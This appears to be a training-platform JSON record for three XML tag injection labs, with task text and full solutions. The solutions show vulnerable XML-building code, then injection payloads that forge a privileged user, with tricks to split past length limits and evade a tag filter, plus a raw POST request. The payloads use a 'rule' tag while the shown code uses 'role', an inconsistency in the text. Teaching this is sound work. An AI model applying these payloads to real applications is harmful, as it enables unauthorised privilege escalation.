{
    "id": "ee3d4693-1cfe-4e47-8a2b-c161c1463425",
    "name": "XML Injection",
    "slug": "xml-injection",
    "status": "published",
    "lab_type": "pta",
    "is_sample": false,
    "duration_in_seconds": 1800,
    "metadata": {
        "courses": [
            "657cf698-108b-45a3-993c-d8e238ebbfaf",
            "630a470a-1ccf-44eb-8111-8947846b5d78"
        ],
        "pta_sdn": "229",
        "collections": [],
        "pta_namespace": "my.ine",
        "learning_paths": [],
        "has_published_parent": true
    },
    "session": null,
    "company": "a491bc32-c056-4946-9169-cc053387bada",
    "created": "2022-06-23T21:25:44.646324Z",
    "modified": "2024-12-20T16:47:01.602879Z",
    "is_beta": false,
    "lab_objectives": [],
    "main_learning_area": "3e1aa06f-2e9f-4789-b50d-aa027ad8dcfa",
    "learning_areas": [
        {
            "id": "3e1aa06f-2e9f-4789-b50d-aa027ad8dcfa",
            "name": "Cyber Security",
            "slug": "cyber-security"
        }
    ],
    "categories": [],
    "tags": [],
    "difficulty": null,
    "is_web_access": false,
    "is_lab_experience": false,
    "is_featured": false,
    "cve": null,
    "severity": null,
    "year": null,
    "classification": null,
    "is_trackable": false,
    "cpe_credits": null,
    "is_skill_check": false,
    "external_url": "",
    "solution_video": null,
    "explanation_video": null,
    "description": "# XML Injection labs\n\n## LAB 6 <\\#CODENAME: TIC TAG TOE>\n\n# XML Injections will contain 3 challenging labs: {#xml-injections-will-contain-3-challenging-labs .list-paragraph}\n\n1.  **Warm-up:** Lab XML Injection L1\n\n2.  **Easy**: Lab XML Injection L2\n\n3.  **Medium:** Lab XML Injection L3",
    "description_html": "<h1>XML Injection labs</h1>\n<h2>LAB 6 &lt;#CODENAME: TIC TAG TOE&gt;</h2>\n<h1 class=\"list-paragraph\" id=\"xml-injections-will-contain-3-challenging-labs\">XML Injections will contain 3 challenging labs:</h1>\n<ol>\n<li>\n<p><strong>Warm-up:</strong> Lab XML Injection L1</p>\n</li>\n<li>\n<p><strong>Easy</strong>: Lab XML Injection L2</p>\n</li>\n<li>\n<p><strong>Medium:</strong> Lab XML Injection L3</p>\n</li>\n</ol>",
    "tasks": "# DESCRIPTION\n\nIn these **XML TAG or Fragment Injection** labs, you will learn how to attack XML parsers to inject contextualized data that will alter the structure of the document without changing its validity.\n\nAll labs are available at the following URL: <http://info.xmlinjection.labs>\n\n# Goal\n\nThe main goal of these labs is to become a **leet** member.\n\nThe web application presents a login form. You must enter as a **leet** member; otherwise, you'll be a looser.\n\nFind a way to access as a privileged user!\n\n# Tool\n\nThe best tool is, as usual, your **brain**. You may also need:\n\n-   Web Browser\n-   HTTP Proxy (Burp Suite)",
    "tasks_html": "<h1>DESCRIPTION</h1>\n<p>In these <strong>XML TAG or Fragment Injection</strong> labs, you will learn how to attack XML parsers to inject contextualized data that will alter the structure of the document without changing its validity.</p>\n<p>All labs are available at the following URL: <a href=\"http://info.xmlinjection.labs\">http://info.xmlinjection.labs</a></p>\n<h1>Goal</h1>\n<p>The main goal of these labs is to become a <strong>leet</strong> member.</p>\n<p>The web application presents a login form. You must enter as a <strong>leet</strong> member; otherwise, you'll be a looser.</p>\n<p>Find a way to access as a privileged user!</p>\n<h1>Tool</h1>\n<p>The best tool is, as usual, your <strong>brain</strong>. You may also need:</p>\n<ul>\n<li>Web Browser</li>\n<li>HTTP Proxy (Burp Suite)</li>\n</ul>",
    "published_date": "2020-10-20T15:32:24Z",
    "solutions": "# Solutions\n\nBelow, you can find solutions for each task. Remember, though, that you can follow your own strategy, which may be different from the one explained in the following lab.\n\n***NOTE: The techniques used during this lab are better explained in the study material. You should refer to it for further details. These solutions are provided here only to verify the correctness.***\n\n# Solutions - Lab \\#1 {#solutions---lab-1 .list-paragraph}\n\n> Simple XML TAG injection exploitation warm-up:\n> \\*D0 u w@nn@ b3 a l33t m3mb3r?*\n# Background {#background .Solution_Steps}\n\nThere are two types of users: **leet** and **looser**. By default, every new user is a **looser**. Find a way to become a **leet** member.\n\n# Exploitation steps {#exploitation-steps .Solution_Steps}\n\nA valid XML structure is reported in the **core.js file** within the function \\`WSregister__old\\`.\n\nAs you can see in the previous implementation, the developers used a different approach that helps us to detect the XML structure in this scenario.\n```\nfunction WSregister__old() {\n\t...\n\tvar xml = '<?xml version=\"1.0\" encoding=\"utf-8\"?> ';\n\txml += '<user>                                    ';\n\txml += ' \t<role>2</role> \t\t\t\t\t\t  ';\n\txml += ' \t<name>' + name + '</name>             ';\n\txml += ' \t<username>' + username + '</username> ';\n\txml += ' \t<password>' + password + '</password> ';\n\txml += '</user> \t\t\t\t\t\t\t\t  ';\n\t...\n}\n```\n\n**Testing parameter name Registering**\n\nIf we register a user, we can see that its name is echoed back in the welcome message and is encoded with **htmlspecialchars**.\n\nFurthermore, if we try to inject some tags (e.g., **<hey>**), the application works and registers the new user. Therefore, this parameter is not injectable.\n\n\n\n**Testing parameter password**\n\nIf we adopt the same approach with the password, we can see that even the password is not injectable!\n\n\n\n**Testing parameter username**\n\nThe only injectable parameter is the username.\n\nIf we take advantage of the XML structure found in the **core.js** file we could easily inject our **leet** user as follows:\n```\nname: \t  useless\nusername: useless</username></user><user><rule>1</rule><name>l33t</name><username>l33t\npassword: l33t\n```\n\nThe leet login will be:\n```\nusername: l33t\npassword: l33t\n```\n\n# Solutions - Lab \\#2\n\n> Simple XML TAG injection exploitation with length limitation:\n>  \\*Does Length Matter?*\n# Background {#background-1 .Solution_Steps}\n\nThere are two types of users: **leet** and **looser**. By default, every new user is a **looser**. Find a way to become a leet member.\n\n# Exploitation steps {#exploitation-steps-1 .Solution_Steps}\n\nA valid XML structure is reported in the **core.js** file within the function **WSregister__old**.\n\nAs you can see in the previous implementation, the developers used a different approach than in this scenario, which helps us detect the XML structure.\n```\nfunction WSregister__old() { \n\t...\n\tvar xml = '<?xml version=\"1.0\" encoding=\"utf-8\"?> ';\n\txml += '<user> \t\t\t\t\t\t\t\t\t  '; \n\txml += ' \t<role>2</role> \t\t\t\t\t\t  '; \n\txml += ' \t<name>' + name + '</name> \t\t\t  '; \n\txml += ' \t<username>' + username + '</username> '; \n\txml += ' \t<password>' + password + '</password> '; \n\txml += '</user>                                   '; \n\t... \n}\n```\n\n\n\n**Testing parameter name**\n\nRegistering a test user, we can see that the name of the new user is echoed back in the welcome message and is encoded with htmlspecialchars.\n\nIf we try to inject some tags (e.g., **<hey>**), the application returns an error message:\n```\nOpening and ending tag mismatch ...\n```\n\n\n\n**Testing parameter username**\n\nIf we adopt the same approach as before, we can see that even the username is injectable!\n\n\n\n**Testing parameter password**\n\nIf we adopt the same approach as before, we can see that the password is not injectable!\n\n\n\n**Length limitations**\n\nWe notice that the name and username have length limitations of 35 characters.\n\nIn fact, if we try to inject something longer, the application cuts/truncates our input.\n\nSince we have two injection points, to bypass this limitation we can split and inject our payload in the two places:\n```\nname: \t  </name></user><user><rule>1<!--\nusername: --></rule><name>x</name><username>x\npassword: l33t\n```\n\nThe leet login will be:\n```\nusername: x\npassword: l33t\n```\n\n# Solutions - Lab #3\n\n> XML TAG injection exploitation with length limitation and filters:\n> \\***If you're tired .. have a break!***\n# Background {#background-2 .Solution_Steps}\n\nThere are two types of users: **leet** and **looser**. By default, every new user is a **looser**. Find a way to become a leet member.\n\n# Exploitation steps {#exploitation-steps-2 .Solution_Steps}\n\nA valid XML structure is reported in the **core.js** file within the function **WSregister__old**.\n\nAs you can see in the previous implementation, the developers used a different approach than in this scenario, which helps us detect the XML structure.\n```\nfunction WSregister__old() {\n\t... \n\tvar xml = '<?xml version=\"1.0\" encoding=\"utf-8\"?> '; \n\txml += '<user> \t\t\t\t\t\t\t\t\t  '; \n\txml += ' \t<role>2</role> \t\t\t\t\t\t  '; \n\txml += ' \t<name>' + name + '</name> \t\t\t  '; \n\txml += ' \t<username>' + username + '</username> '; \n\txml += ' \t<password>' + password + '</password> '; \n\txml += '</user> \t\t\t\t\t\t\t\t  '; \n\t... \n}\n```\n\n\n**Testing parameter name**\n\nRegistering a test user, we can see that the name of the new user is echoed back in the welcome message and is encoded with htmlspecialchars. But, if we try to inject some tags (e.g., <hey>), the application returns an error message like the following:\n```\nOpening and ending tag mismatch ...\n```\n\n\n\n**Testing parameter name**\n\nIf we adopt the same approach as before, we can see that even the username is injectable!\n\n\n\n**Testing parameter password**\n\nIf we adopt the same approach as before, we can see that the password is not injectable!\n\n\n\n**Length limitations**\n\nWe notice that name and username have length limitations of 34 characters.\n\nIn fact, if we try to inject something longer, the application cuts/truncates our input.\n\nSince we have two injection points, to bypass this limitation we can split and inject our payload in the two places:\n```\nname:     </name></user><user><rule>1<!--\nusername: --></rule><name></name><username>x\npassword: l33t\n```\n\n\n\n**Bypassing Filters**\n\nBypassing length limitations is not enough. The application implements some filters against the XML TAG injection that blocks the previous payload.\n\nIn this case, if the filter detects some dangerous elements, it shows a message like the following:\n```\nSo you wanna be a l33t member so easily?! \u0ca0_\u0ca0\n```\n\nInjecting some metacharacters, we can see that **&**, \\\\ , **,** , **\"** , **'** are filtered but **<** and **>** are not!\n\nThere is another filter that blocks the <rule> and </rule> tags.\n\nThe check is case-insensitive, and it seems that **spaces** and **tabs** are ignored between the tag name and the close tag character, but if we inject a new line, it is not filtered!\n\n\n\nSo the exploitation could be the following:\n\n```\nname: \t  </name></user><user><rule{NEW_LINE}>1<!--\nusername: --></rule{NEW_LINE}><name></name><username>x\npassword: l33t\n```\n\nNow the *username* has a length of 35; injecting this payload, we would have an empty username and thus an invalid login.\n\nWe need to remove something from the payload, and the <name> tag seems to be ignored server-side.\n\nThe working exploit is:\n```\nname:     </name></user><user><rule{NEW_LINE}>1<!--\nusername: --></rule{NEW_LINE}><username>l33t\npassword: l33t\n```\n\nInside burp the request should look as follows:\n\n```\nPOST /add_new.php HTTP/1.1\n...\nname=</name></user><user><rule\n>1<!--&user=--></rule\n><username>l33t&password=l33t\n```\n\nThe leet login will be:\n\n```\nusername: l33t\npassword: l33t \n```",
    "solutions_html": "<h1>Solutions</h1>\n<p>Below, you can find solutions for each task. Remember, though, that you can follow your own strategy, which may be different from the one explained in the following lab.</p>\n<p><strong><em>NOTE: The techniques used during this lab are better explained in the study material. You should refer to it for further details. These solutions are provided here only to verify the correctness.</em></strong></p>\n<h1 class=\"list-paragraph\" id=\"solutions---lab-1\">Solutions - Lab #1</h1>\n<blockquote>\n<p>Simple XML TAG injection exploitation warm-up:\n*D0 u w@nn@ b3 a l33t m3mb3r?*</p>\n</blockquote>\n<h1 class=\"Solution_Steps\" id=\"background\">Background</h1>\n<p>There are two types of users: <strong>leet</strong> and <strong>looser</strong>. By default, every new user is a <strong>looser</strong>. Find a way to become a <strong>leet</strong> member.</p>\n<h1 class=\"Solution_Steps\" id=\"exploitation-steps\">Exploitation steps</h1>\n<p>A valid XML structure is reported in the <strong>core.js file</strong> within the function `WSregister__old`.</p>\n<p>As you can see in the previous implementation, the developers used a different approach that helps us to detect the XML structure in this scenario.\n<pre class=\"codehilite\"><code>function WSregister__old() {\n    ...\n    var xml = '&lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt; ';\n    xml += '&lt;user&gt;                                    ';\n    xml += '    &lt;role&gt;2&lt;/role&gt;                        ';\n    xml += '    &lt;name&gt;' + name + '&lt;/name&gt;             ';\n    xml += '    &lt;username&gt;' + username + '&lt;/username&gt; ';\n    xml += '    &lt;password&gt;' + password + '&lt;/password&gt; ';\n    xml += '&lt;/user&gt;                                   ';\n    ...\n}</code></pre></p>\n<p><strong>Testing parameter name Registering</strong></p>\n<p>If we register a user, we can see that its name is echoed back in the welcome message and is encoded with <strong>htmlspecialchars</strong>.</p>\n<p>Furthermore, if we try to inject some tags (e.g., <strong><hey></strong>), the application works and registers the new user. Therefore, this parameter is not injectable.</p>\n<p><strong>Testing parameter password</strong></p>\n<p>If we adopt the same approach with the password, we can see that even the password is not injectable!</p>\n<p><strong>Testing parameter username</strong></p>\n<p>The only injectable parameter is the username.</p>\n<p>If we take advantage of the XML structure found in the <strong>core.js</strong> file we could easily inject our <strong>leet</strong> user as follows:\n<pre class=\"codehilite\"><code>name:     useless\nusername: useless&lt;/username&gt;&lt;/user&gt;&lt;user&gt;&lt;rule&gt;1&lt;/rule&gt;&lt;name&gt;l33t&lt;/name&gt;&lt;username&gt;l33t\npassword: l33t</code></pre></p>\n<p>The leet login will be:\n<pre class=\"codehilite\"><code>username: l33t\npassword: l33t</code></pre></p>\n<h1>Solutions - Lab #2</h1>\n<blockquote>\n<p>Simple XML TAG injection exploitation with length limitation:\n *Does Length Matter?*</p>\n</blockquote>\n<h1 class=\"Solution_Steps\" id=\"background-1\">Background</h1>\n<p>There are two types of users: <strong>leet</strong> and <strong>looser</strong>. By default, every new user is a <strong>looser</strong>. Find a way to become a leet member.</p>\n<h1 class=\"Solution_Steps\" id=\"exploitation-steps-1\">Exploitation steps</h1>\n<p>A valid XML structure is reported in the <strong>core.js</strong> file within the function <strong>WSregister__old</strong>.</p>\n<p>As you can see in the previous implementation, the developers used a different approach than in this scenario, which helps us detect the XML structure.\n<pre class=\"codehilite\"><code>function WSregister__old() { \n    ...\n    var xml = '&lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt; ';\n    xml += '&lt;user&gt;                                    '; \n    xml += '    &lt;role&gt;2&lt;/role&gt;                        '; \n    xml += '    &lt;name&gt;' + name + '&lt;/name&gt;             '; \n    xml += '    &lt;username&gt;' + username + '&lt;/username&gt; '; \n    xml += '    &lt;password&gt;' + password + '&lt;/password&gt; '; \n    xml += '&lt;/user&gt;                                   '; \n    ... \n}</code></pre></p>\n<p><strong>Testing parameter name</strong></p>\n<p>Registering a test user, we can see that the name of the new user is echoed back in the welcome message and is encoded with htmlspecialchars.</p>\n<p>If we try to inject some tags (e.g., <strong><hey></strong>), the application returns an error message:\n<pre class=\"codehilite\"><code>Opening and ending tag mismatch ...</code></pre></p>\n<p><strong>Testing parameter username</strong></p>\n<p>If we adopt the same approach as before, we can see that even the username is injectable!</p>\n<p><strong>Testing parameter password</strong></p>\n<p>If we adopt the same approach as before, we can see that the password is not injectable!</p>\n<p><strong>Length limitations</strong></p>\n<p>We notice that the name and username have length limitations of 35 characters.</p>\n<p>In fact, if we try to inject something longer, the application cuts/truncates our input.</p>\n<p>Since we have two injection points, to bypass this limitation we can split and inject our payload in the two places:\n<pre class=\"codehilite\"><code>name:     &lt;/name&gt;&lt;/user&gt;&lt;user&gt;&lt;rule&gt;1&lt;!--\nusername: --&gt;&lt;/rule&gt;&lt;name&gt;x&lt;/name&gt;&lt;username&gt;x\npassword: l33t</code></pre></p>\n<p>The leet login will be:\n<pre class=\"codehilite\"><code>username: x\npassword: l33t</code></pre></p>\n<h1>Solutions - Lab #3</h1>\n<blockquote>\n<p>XML TAG injection exploitation with length limitation and filters:\n*<strong>If you're tired .. have a break!</strong>*</p>\n</blockquote>\n<h1 class=\"Solution_Steps\" id=\"background-2\">Background</h1>\n<p>There are two types of users: <strong>leet</strong> and <strong>looser</strong>. By default, every new user is a <strong>looser</strong>. Find a way to become a leet member.</p>\n<h1 class=\"Solution_Steps\" id=\"exploitation-steps-2\">Exploitation steps</h1>\n<p>A valid XML structure is reported in the <strong>core.js</strong> file within the function <strong>WSregister__old</strong>.</p>\n<p>As you can see in the previous implementation, the developers used a different approach than in this scenario, which helps us detect the XML structure.\n<pre class=\"codehilite\"><code>function WSregister__old() {\n    ... \n    var xml = '&lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt; '; \n    xml += '&lt;user&gt;                                    '; \n    xml += '    &lt;role&gt;2&lt;/role&gt;                        '; \n    xml += '    &lt;name&gt;' + name + '&lt;/name&gt;             '; \n    xml += '    &lt;username&gt;' + username + '&lt;/username&gt; '; \n    xml += '    &lt;password&gt;' + password + '&lt;/password&gt; '; \n    xml += '&lt;/user&gt;                                   '; \n    ... \n}</code></pre></p>\n<p><strong>Testing parameter name</strong></p>\n<p>Registering a test user, we can see that the name of the new user is echoed back in the welcome message and is encoded with htmlspecialchars. But, if we try to inject some tags (e.g., <hey>), the application returns an error message like the following:\n<pre class=\"codehilite\"><code>Opening and ending tag mismatch ...</code></pre></p>\n<p><strong>Testing parameter name</strong></p>\n<p>If we adopt the same approach as before, we can see that even the username is injectable!</p>\n<p><strong>Testing parameter password</strong></p>\n<p>If we adopt the same approach as before, we can see that the password is not injectable!</p>\n<p><strong>Length limitations</strong></p>\n<p>We notice that name and username have length limitations of 34 characters.</p>\n<p>In fact, if we try to inject something longer, the application cuts/truncates our input.</p>\n<p>Since we have two injection points, to bypass this limitation we can split and inject our payload in the two places:\n<pre class=\"codehilite\"><code>name:     &lt;/name&gt;&lt;/user&gt;&lt;user&gt;&lt;rule&gt;1&lt;!--\nusername: --&gt;&lt;/rule&gt;&lt;name&gt;&lt;/name&gt;&lt;username&gt;x\npassword: l33t</code></pre></p>\n<p><strong>Bypassing Filters</strong></p>\n<p>Bypassing length limitations is not enough. The application implements some filters against the XML TAG injection that blocks the previous payload.</p>\n<p>In this case, if the filter detects some dangerous elements, it shows a message like the following:\n<pre class=\"codehilite\"><code>So you wanna be a l33t member so easily?! \u0ca0_\u0ca0</code></pre></p>\n<p>Injecting some metacharacters, we can see that <strong>&amp;</strong>, \\ , <strong>,</strong> , <strong>\"</strong> , <strong>'</strong> are filtered but <strong>&lt;</strong> and <strong>&gt;</strong> are not!</p>\n<p>There is another filter that blocks the <rule> and </rule> tags.</p>\n<p>The check is case-insensitive, and it seems that <strong>spaces</strong> and <strong>tabs</strong> are ignored between the tag name and the close tag character, but if we inject a new line, it is not filtered!</p>\n<p>So the exploitation could be the following:</p>\n<pre class=\"codehilite\"><code>name:     &lt;/name&gt;&lt;/user&gt;&lt;user&gt;&lt;rule{NEW_LINE}&gt;1&lt;!--\nusername: --&gt;&lt;/rule{NEW_LINE}&gt;&lt;name&gt;&lt;/name&gt;&lt;username&gt;x\npassword: l33t</code></pre>\n\n<p>Now the <em>username</em> has a length of 35; injecting this payload, we would have an empty username and thus an invalid login.</p>\n<p>We need to remove something from the payload, and the <name> tag seems to be ignored server-side.</p>\n<p>The working exploit is:\n<pre class=\"codehilite\"><code>name:     &lt;/name&gt;&lt;/user&gt;&lt;user&gt;&lt;rule{NEW_LINE}&gt;1&lt;!--\nusername: --&gt;&lt;/rule{NEW_LINE}&gt;&lt;username&gt;l33t\npassword: l33t</code></pre></p>\n<p>Inside burp the request should look as follows:</p>\n<pre class=\"codehilite\"><code>POST /add_new.php HTTP/1.1\n...\nname=&lt;/name&gt;&lt;/user&gt;&lt;user&gt;&lt;rule\n&gt;1&lt;!--&amp;user=--&gt;&lt;/rule\n&gt;&lt;username&gt;l33t&amp;password=l33t</code></pre>\n\n<p>The leet login will be:</p>\n<pre class=\"codehilite\"><code>username: l33t\npassword: l33t </code></pre>",
    "flags": [],
    "min_points_to_pass": null,
    "access_type": "default",
    "user_status": "unstarted",
    "user_lab_status": null,
    "user_status_modified": null,
    "user_flags": [],
    "global_running_session": null
}